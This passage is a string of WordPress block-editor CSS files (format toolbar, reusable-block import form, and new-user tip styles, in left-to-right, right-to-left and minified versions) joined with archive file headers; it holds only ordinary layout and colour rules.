(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.block-editor-format-toolbar__image-popover{z-index:159990}.block-editor-format-toolbar__image-container-content{display:flex}.block-editor-format-toolbar__image-container-content .components-button{align-self:flex-end;height:30px;margin-bottom:8px;margin-left:8px;padding:0 6px}.block-editor-format-toolbar__image-container-value{margin:7px;flex-grow:1;flex-shrink:1;white-space:nowrap;min-width:150px;max-width:500px}.block-editor-format-toolbar__image-container-value.components-base-control .components-base-control__field{margin-bottom:0}.block-editor-format-toolbar__image-container-value.components-base-control .components-base-control__label{display:block}.block-editor-format-toolbar__link-container-content{display:flex}.block-editor-format-toolbar__link-container-value{margin:7px;flex-grow:1;flex-shrink:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;min-width:150px;max-width:500px}.block-editor-format-toolbar__link-container-value.has-invalid-link{color:#cc1818}.components-inline-color__indicator{position:absolute;background:#000;height:3px;width:20px;bottom:6px;right:auto;left:auto;margin:0 5px}.components-inline-color-popover .components-popover__content>div{padding:20px 18px}.components-inline-color-popover .components-popover__content .components-color-palette{margin-top:.6rem}.components-inline-color-popover .components-popover__content .components-base-control__title{display:block;margin-bottom:16px;font-weight:600;color:#191e23}.components-inline-color-popover .components-popover__content .component-color-indicator{vertical-align:text-bottom}.format-library-text-color-button{position:relative}.format-library-text-color-button__indicator{height:4px;width:20px;position:absolute;bottom:10px;right:8px}css/dist/format-library/style.css000064400000007174151202620300013103 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * These are default block editor widths in case the theme doesn't provide them. */ :root { --wp-admin-theme-color: #007cba; --wp-admin-theme-color-darker-10: #006ba1; --wp-admin-theme-color-darker-20: #005a87; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { :root { --wp-admin-border-width-focus: 1.5px; } } .block-editor-format-toolbar__image-popover { z-index: 159990; } .block-editor-format-toolbar__image-container-content { display: flex; } .block-editor-format-toolbar__image-container-content .components-button { align-self: flex-end; height: 30px; margin-bottom: 8px; margin-right: 8px; padding: 0 6px; } .block-editor-format-toolbar__image-container-value { margin: 7px; flex-grow: 1; flex-shrink: 1; white-space: nowrap; min-width: 150px; max-width: 500px; } .block-editor-format-toolbar__image-container-value.components-base-control .components-base-control__field { margin-bottom: 0; } .block-editor-format-toolbar__image-container-value.components-base-control .components-base-control__label { display: block; } .block-editor-format-toolbar__link-container-content { display: flex; } .block-editor-format-toolbar__link-container-value { margin: 7px; flex-grow: 1; flex-shrink: 1; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; min-width: 150px; max-width: 500px; } .block-editor-format-toolbar__link-container-value.has-invalid-link { color: #cc1818; } .components-inline-color__indicator { position: absolute; background: #000; height: 3px; width: 20px; bottom: 6px; left: auto; right: auto; margin: 0 5px; } .components-inline-color-popover .components-popover__content > div { padding: 20px 18px; } .components-inline-color-popover .components-popover__content .components-color-palette { margin-top: 0.6rem; } .components-inline-color-popover .components-popover__content .components-base-control__title { display: block; margin-bottom: 16px; font-weight: 600; color: #191e23; } .components-inline-color-popover .components-popover__content .component-color-indicator { vertical-align: text-bottom; } .format-library-text-color-button { position: relative; } .format-library-text-color-button__indicator { height: 4px; width: 20px; position: absolute; bottom: 10px; left: 8px; }css/dist/format-library/style.min.css000064400000003733151202620300013662 0ustar00:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.block-editor-format-toolbar__image-popover{z-index:159990}.block-editor-format-toolbar__image-container-content{display:flex}.block-editor-format-toolbar__image-container-content .components-button{align-self:flex-end;height:30px;margin-bottom:8px;margin-right:8px;padding:0 6px}.block-editor-format-toolbar__image-container-value{margin:7px;flex-grow:1;flex-shrink:1;white-space:nowrap;min-width:150px;max-width:500px}.block-editor-format-toolbar__image-container-value.components-base-control .components-base-control__field{margin-bottom:0}.block-editor-format-toolbar__image-container-value.components-base-control .components-base-control__label{display:block}.block-editor-format-toolbar__link-container-content{display:flex}.block-editor-format-toolbar__link-container-value{margin:7px;flex-grow:1;flex-shrink:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;min-width:150px;max-width:500px}.block-editor-format-toolbar__link-container-value.has-invalid-link{color:#cc1818}.components-inline-color__indicator{position:absolute;background:#000;height:3px;width:20px;bottom:6px;left:auto;right:auto;margin:0 5px}.components-inline-color-popover .components-popover__content>div{padding:20px 18px}.components-inline-color-popover .components-popover__content .components-color-palette{margin-top:.6rem}.components-inline-color-popover .components-popover__content .components-base-control__title{display:block;margin-bottom:16px;font-weight:600;color:#191e23}.components-inline-color-popover .components-popover__content .component-color-indicator{vertical-align:text-bottom}.format-library-text-color-button{position:relative}.format-library-text-color-button__indicator{height:4px;width:20px;position:absolute;bottom:10px;left:8px}css/dist/list-reusable-blocks/style-rtl.css000064400000011743151202620300014773 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * These are default block editor widths in case the theme doesn't provide them. */ :root { --wp-admin-theme-color: #007cba; --wp-admin-theme-color-darker-10: #006ba1; --wp-admin-theme-color-darker-20: #005a87; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { :root { --wp-admin-border-width-focus: 1.5px; } } .list-reusable-blocks-import-dropdown__content .components-popover__content > div { padding: 10px; } .list-reusable-blocks-import-form__label { display: block; margin-bottom: 10px; } .list-reusable-blocks-import-form__button { margin-top: 10px; margin-bottom: 10px; float: left; } .list-reusable-blocks-import-form .components-notice__content { margin: 0; } .list-reusable-blocks-import-form .components-notice.is-dismissible { padding-left: 0; margin: 5px 0; } .list-reusable-blocks__container { display: inline-flex; align-items: center; position: relative; top: -3px; } .list-reusable-blocks__container .components-button { height: 26px; } body.admin-color-light { --wp-admin-theme-color: #0085ba; --wp-admin-theme-color-darker-10: #0073a1; --wp-admin-theme-color-darker-20: #006187; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-light { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-modern { --wp-admin-theme-color: #3858e9; --wp-admin-theme-color-darker-10: #2145e6; --wp-admin-theme-color-darker-20: #183ad6; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-modern { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-blue { --wp-admin-theme-color: #096484; --wp-admin-theme-color-darker-10: #07526c; --wp-admin-theme-color-darker-20: #064054; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-blue { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-coffee { --wp-admin-theme-color: #46403c; --wp-admin-theme-color-darker-10: #383330; --wp-admin-theme-color-darker-20: #2b2724; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-coffee { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-ectoplasm { --wp-admin-theme-color: #523f6d; --wp-admin-theme-color-darker-10: #46365d; --wp-admin-theme-color-darker-20: #3a2c4d; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-ectoplasm { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-midnight { --wp-admin-theme-color: #e14d43; --wp-admin-theme-color-darker-10: #dd382d; --wp-admin-theme-color-darker-20: #d02c21; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-midnight { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-ocean { --wp-admin-theme-color: #627c83; --wp-admin-theme-color-darker-10: #576e74; --wp-admin-theme-color-darker-20: #4c6066; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-ocean { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-sunrise { --wp-admin-theme-color: #dd823b; --wp-admin-theme-color-darker-10: #d97426; --wp-admin-theme-color-darker-20: #c36922; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-sunrise { --wp-admin-border-width-focus: 1.5px; } }css/dist/list-reusable-blocks/style-rtl.min.css000064400000006243151202620300015554 0ustar00:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.list-reusable-blocks-import-dropdown__content .components-popover__content>div{padding:10px}.list-reusable-blocks-import-form__label{display:block;margin-bottom:10px}.list-reusable-blocks-import-form__button{margin-top:10px;margin-bottom:10px;float:left}.list-reusable-blocks-import-form .components-notice__content{margin:0}.list-reusable-blocks-import-form .components-notice.is-dismissible{padding-left:0;margin:5px 0}.list-reusable-blocks__container{display:inline-flex;align-items:center;position:relative;top:-3px}.list-reusable-blocks__container .components-button{height:26px}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-20:#006187;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-20:#064054;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}css/dist/list-reusable-blocks/style.css000064400000011745151202620300014176 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * These are default block editor widths in case the theme doesn't provide them. */ :root { --wp-admin-theme-color: #007cba; --wp-admin-theme-color-darker-10: #006ba1; --wp-admin-theme-color-darker-20: #005a87; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { :root { --wp-admin-border-width-focus: 1.5px; } } .list-reusable-blocks-import-dropdown__content .components-popover__content > div { padding: 10px; } .list-reusable-blocks-import-form__label { display: block; margin-bottom: 10px; } .list-reusable-blocks-import-form__button { margin-top: 10px; margin-bottom: 10px; float: right; } .list-reusable-blocks-import-form .components-notice__content { margin: 0; } .list-reusable-blocks-import-form .components-notice.is-dismissible { padding-right: 0; margin: 5px 0; } .list-reusable-blocks__container { display: inline-flex; align-items: center; position: relative; top: -3px; } .list-reusable-blocks__container .components-button { height: 26px; } body.admin-color-light { --wp-admin-theme-color: #0085ba; --wp-admin-theme-color-darker-10: #0073a1; --wp-admin-theme-color-darker-20: #006187; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-light { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-modern { --wp-admin-theme-color: #3858e9; --wp-admin-theme-color-darker-10: #2145e6; --wp-admin-theme-color-darker-20: #183ad6; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-modern { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-blue { --wp-admin-theme-color: #096484; --wp-admin-theme-color-darker-10: #07526c; --wp-admin-theme-color-darker-20: #064054; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-blue { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-coffee { --wp-admin-theme-color: #46403c; --wp-admin-theme-color-darker-10: #383330; --wp-admin-theme-color-darker-20: #2b2724; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-coffee { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-ectoplasm { --wp-admin-theme-color: #523f6d; --wp-admin-theme-color-darker-10: #46365d; --wp-admin-theme-color-darker-20: #3a2c4d; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-ectoplasm { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-midnight { --wp-admin-theme-color: #e14d43; --wp-admin-theme-color-darker-10: #dd382d; --wp-admin-theme-color-darker-20: #d02c21; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-midnight { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-ocean { --wp-admin-theme-color: #627c83; --wp-admin-theme-color-darker-10: #576e74; --wp-admin-theme-color-darker-20: #4c6066; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-ocean { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-sunrise { --wp-admin-theme-color: #dd823b; --wp-admin-theme-color-darker-10: #d97426; --wp-admin-theme-color-darker-20: #c36922; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-sunrise { --wp-admin-border-width-focus: 1.5px; } }css/dist/list-reusable-blocks/style.min.css000064400000006245151202620300014757 0ustar00:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.list-reusable-blocks-import-dropdown__content .components-popover__content>div{padding:10px}.list-reusable-blocks-import-form__label{display:block;margin-bottom:10px}.list-reusable-blocks-import-form__button{margin-top:10px;margin-bottom:10px;float:right}.list-reusable-blocks-import-form .components-notice__content{margin:0}.list-reusable-blocks-import-form .components-notice.is-dismissible{padding-right:0;margin:5px 0}.list-reusable-blocks__container{display:inline-flex;align-items:center;position:relative;top:-3px}.list-reusable-blocks__container .components-button{height:26px}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-20:#006187;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-20:#064054;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}css/dist/nux/style-rtl.css000064400000010434151202620300011553 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * These are default block editor widths in case the theme doesn't provide them. */ :root { --wp-admin-theme-color: #007cba; --wp-admin-theme-color-darker-10: #006ba1; --wp-admin-theme-color-darker-20: #005a87; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { :root { --wp-admin-border-width-focus: 1.5px; } } .nux-dot-tip::before, .nux-dot-tip::after { border-radius: 100%; content: " "; pointer-events: none; position: absolute; } .nux-dot-tip::before { animation: nux-pulse 1.6s infinite cubic-bezier(0.17, 0.67, 0.92, 0.62); background: rgba(0, 115, 156, 0.9); opacity: 0.9; height: 24px; right: -12px; top: -12px; transform: scale(0.3333333333); width: 24px; } .nux-dot-tip::after { background: #00739c; height: 8px; right: -4px; top: -4px; width: 8px; } @keyframes nux-pulse { 100% { background: rgba(0, 115, 156, 0); transform: scale(1); } } .nux-dot-tip .components-popover__content { width: 350px; } .nux-dot-tip .components-popover__content > div { padding: 20px 18px; } @media (min-width: 600px) { .nux-dot-tip .components-popover__content { width: 450px; } } .nux-dot-tip .components-popover__content .nux-dot-tip__disable { position: absolute; left: 0; top: 0; } .nux-dot-tip[data-y-axis=top] { margin-top: -4px; } .nux-dot-tip[data-y-axis=bottom] { margin-top: 4px; } .nux-dot-tip[data-y-axis=middle][data-y-axis=left] { margin-right: -4px; } .nux-dot-tip[data-y-axis=middle][data-y-axis=right] { margin-right: 4px; } .nux-dot-tip[data-y-axis=top] .components-popover__content { margin-bottom: 20px; } .nux-dot-tip[data-y-axis=bottom] .components-popover__content { margin-top: 20px; } .nux-dot-tip[data-y-axis=middle][data-y-axis=left] .components-popover__content { margin-left: 20px; } .nux-dot-tip[data-y-axis=middle][data-y-axis=right] .components-popover__content { margin-right: 20px; } .nux-dot-tip[data-y-axis=left], .nux-dot-tip[data-y-axis=center], .nux-dot-tip[data-y-axis=right] { z-index: 1000001; } @media (max-width: 600px) { .nux-dot-tip[data-y-axis=left] .components-popover__content, .nux-dot-tip[data-y-axis=center] .components-popover__content, .nux-dot-tip[data-y-axis=right] .components-popover__content { -ms-grid-row-align: end; align-self: end; right: 5px; margin: 20px 0 0 0; max-width: none !important; position: fixed; left: 5px; width: auto; } } .nux-dot-tip.components-popover:not([data-y-axis=middle])[data-y-axis=right] .components-popover__content { margin-left: 0; } .nux-dot-tip.components-popover:not([data-y-axis=middle])[data-y-axis=left] .components-popover__content { margin-right: 0; } .nux-dot-tip.components-popover.edit-post-more-menu__content:not([data-y-axis=middle])[data-y-axis=right] .components-popover__content { margin-left: -12px; } .nux-dot-tip.components-popover.edit-post-more-menu__content:not([data-y-axis=middle])[data-y-axis=left] .components-popover__content { margin-right: -12px; }css/dist/nux/style-rtl.min.css000064400000005035151202620300012336 0ustar00:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.nux-dot-tip:after,.nux-dot-tip:before{border-radius:100%;content:" ";pointer-events:none;position:absolute}.nux-dot-tip:before{animation:nux-pulse 1.6s cubic-bezier(.17,.67,.92,.62) infinite;background:rgba(0,115,156,.9);opacity:.9;height:24px;right:-12px;top:-12px;transform:scale(.3333333333);width:24px}.nux-dot-tip:after{background:#00739c;height:8px;right:-4px;top:-4px;width:8px}@keyframes nux-pulse{to{background:rgba(0,115,156,0);transform:scale(1)}}.nux-dot-tip .components-popover__content{width:350px}.nux-dot-tip .components-popover__content>div{padding:20px 18px}@media (min-width:600px){.nux-dot-tip .components-popover__content{width:450px}}.nux-dot-tip .components-popover__content .nux-dot-tip__disable{position:absolute;left:0;top:0}.nux-dot-tip[data-y-axis=top]{margin-top:-4px}.nux-dot-tip[data-y-axis=bottom]{margin-top:4px}.nux-dot-tip[data-y-axis=middle][data-y-axis=left]{margin-right:-4px}.nux-dot-tip[data-y-axis=middle][data-y-axis=right]{margin-right:4px}.nux-dot-tip[data-y-axis=top] .components-popover__content{margin-bottom:20px}.nux-dot-tip[data-y-axis=bottom] .components-popover__content{margin-top:20px}.nux-dot-tip[data-y-axis=middle][data-y-axis=left] .components-popover__content{margin-left:20px}.nux-dot-tip[data-y-axis=middle][data-y-axis=right] .components-popover__content{margin-right:20px}.nux-dot-tip[data-y-axis=center],.nux-dot-tip[data-y-axis=left],.nux-dot-tip[data-y-axis=right]{z-index:1000001}@media (max-width:600px){.nux-dot-tip[data-y-axis=center] .components-popover__content,.nux-dot-tip[data-y-axis=left] .components-popover__content,.nux-dot-tip[data-y-axis=right] .components-popover__content{-ms-grid-row-align:end;align-self:end;right:5px;margin:20px 0 0;max-width:none!important;position:fixed;left:5px;width:auto}}.nux-dot-tip.components-popover:not([data-y-axis=middle])[data-y-axis=right] .components-popover__content{margin-left:0}.nux-dot-tip.components-popover:not([data-y-axis=middle])[data-y-axis=left] .components-popover__content{margin-right:0}.nux-dot-tip.components-popover.edit-post-more-menu__content:not([data-y-axis=middle])[data-y-axis=right] .components-popover__content{margin-left:-12px}.nux-dot-tip.components-popover.edit-post-more-menu__content:not([data-y-axis=middle])[data-y-axis=left] .components-popover__content{margin-right:-12px}css/dist/nux/style.css000064400000010541151202620300010753 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * These are default block editor widths in case the theme doesn't provide them. */ :root { --wp-admin-theme-color: #007cba; --wp-admin-theme-color-darker-10: #006ba1; --wp-admin-theme-color-darker-20: #005a87; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { :root { --wp-admin-border-width-focus: 1.5px; } } .nux-dot-tip::before, .nux-dot-tip::after { border-radius: 100%; content: " "; pointer-events: none; position: absolute; } .nux-dot-tip::before { animation: nux-pulse 1.6s infinite cubic-bezier(0.17, 0.67, 0.92, 0.62); background: rgba(0, 115, 156, 0.9); opacity: 0.9; height: 24px; left: -12px; top: -12px; transform: scale(0.3333333333); width: 24px; } .nux-dot-tip::after { background: #00739c; height: 8px; left: -4px; top: -4px; width: 8px; } @keyframes nux-pulse { 100% { background: rgba(0, 115, 156, 0); transform: scale(1); } } .nux-dot-tip .components-popover__content { width: 350px; } .nux-dot-tip .components-popover__content > div { padding: 20px 18px; } @media (min-width: 600px) { .nux-dot-tip .components-popover__content { width: 450px; } } .nux-dot-tip .components-popover__content .nux-dot-tip__disable { position: absolute; 